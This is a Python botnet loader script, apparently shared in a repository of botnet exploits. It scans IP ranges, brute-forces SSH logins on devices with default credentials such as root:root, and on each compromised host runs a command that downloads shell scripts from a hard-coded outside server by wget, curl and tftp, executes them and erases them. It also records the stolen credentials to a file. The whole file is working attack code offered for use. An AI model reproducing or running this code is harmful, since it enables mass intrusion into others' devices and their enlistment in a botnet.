Path: blob/master/Botnets/Exploits/MIKROTIK SSH LOADER/Mikload.py
5038 views
#ulimit -n 9999991#Made simply for Kowai2#Made by slumptheogod @telnut on instagram3#line 86 is where u can edit ranges in the script Loli45import threading, paramiko, random, socket, time, sys67paramiko.util.log_to_file("/dev/null")89blacklisted = ["127.0","10.0","192.168"] #You can these out add or whatever u want lol1011#server_ip = useless atm1213passwords = ["support:support"]1415if sys.argv[4] == "root":16passwords = ["root:root"]17if sys.argv[4] == "guest":18passwords = ["guest:guest"]19if sys.argv[4] == "telnet":20passwords = ["telnet:telnet"]2122if len(sys.argv) < 4:23sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")2425print """\n\x1b[0;37m******************************26* \x1b[0;31mSCANNER STARTING\x1b[0;37m *27******************************\x1b[0m"""2829def sshscanner(ip):30global passwords31try:32thisipisbad='no'33for badip in blacklisted:34if badip in ip:35thisipisbad='yes'36if thisipisbad=='yes':37sys.exit()38username='root'39password="0"40port = 2241s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)42s.settimeout(3)43s.connect((ip, port))44data = str(s.recv(1024))45if "SSH" in data:46print("\x1b[1;35mInvalid \x1b[1;33m-- \x1b[1;35m" + ip + "\x1b[37m")47elif "ssh" in data:48print("\x1b[1;35mInvalid \x1b[1;33m-- \x1b[1;35m" + ip + "\x1b[37m")49else:50sys.exit()51s.close()52ssh = paramiko.SSHClient()53ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())54dobreak=False55for passwd in passwords:56if ":n/a" in passwd:57password=""58else:59password=passwd.split(":")[1]60if "n/a:" in passwd:61username=""62else:63username=passwd.split(":")[0]64try:65ssh.connect(ip, port = port, username=username, password=password, timeout=3)66break67except:68pass69badserver=True70stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")71output = stdout.read()72if "inet addr" in output:73badserver=False74websites = [ ]75if badserver == False:76print("\x1b[1;37mAttempting Mikrotik \x1b[1;33m-- \x1b[1;35m" + ip + ":" + username + ":" + password + "\x1b[37m")77ssh.exec_command("cd /tmp; echo ''>DIRTEST || cd /var; echo ''>DIRTEST; wget http://104.248.251.125/8UsA.sh; curl -O http://104.248.251.125/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 104.248.251.125 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 104.248.251.125; chmod 777 t8UsA2.sh; sh t8UsA2.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh")78vulns = open("Mikrotik.txt", "a").write(username + ":" + password + ":" + ip + "\n") #This is not needed u can take it out if u want79time.sleep(12)80ssh.close()81except Exception as e:82pass838485if sys.argv[2] == "KOWAI":86ranges = ["188.16.000.000/188.19.255.255/181.112.0.0/201.245.180.0/"]87randomrange = random.choice(ranges)88startrng = randomrange.split("/")[0]89endrng = randomrange.split("/")[1]9091if sys.argv[2] != "KOWAI":92a = int(sys.argv[2].split(".")[0])93b = int(sys.argv[2].split(".")[1])94c = int(sys.argv[2].split(".")[2])95d = int(sys.argv[2].split(".")[3])96else:97a = int(startrng.split(".")[0])98b = int(startrng.split(".")[1])99c = int(startrng.split(".")[2])100d = int(startrng.split(".")[3])101x = 0102103while(True):104try:105106if sys.argv[2] != "KOWAI":107endaddr = sys.argv[3]108else:109endaddr = endrng110111d += 1112113ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)114115if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):116if sys.argv[2] == "KOWAI":117randomrange = random.choice(ranges)118startrng = randomrange.split("/")[0]119endrng = randomrange.split("/")[1]120a = int(startrng.split(".")[0])121b = int(startrng.split(".")[1])122c = int(startrng.split(".")[2])123d = int(startrng.split(".")[3])124else:125break126127if d > 255:128c += 1129d = 0130131if c > 255:132b += 1133c = 0134135if b > 255:136a += 1137b = 0138139ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)140141if ipaddr == endaddr:142if sys.argv[2] == "KOWAI":143randomrange = random.choice(ranges)144startrng = randomrange.split("/")[0]145endrng = randomrange.split("/")[1]146a = int(startrng.split(".")[0])147b = int(startrng.split(".")[1])148c = int(startrng.split(".")[2])149d = int(startrng.split(".")[3])150else:151break152153if x > 500:154time.sleep(1)155x = 0156157t = threading.Thread(target=sshscanner, args=(ipaddr,))158t.start()159160except Exception as e:161pass162163print "\x1b[37mDone\x1b[37m"164165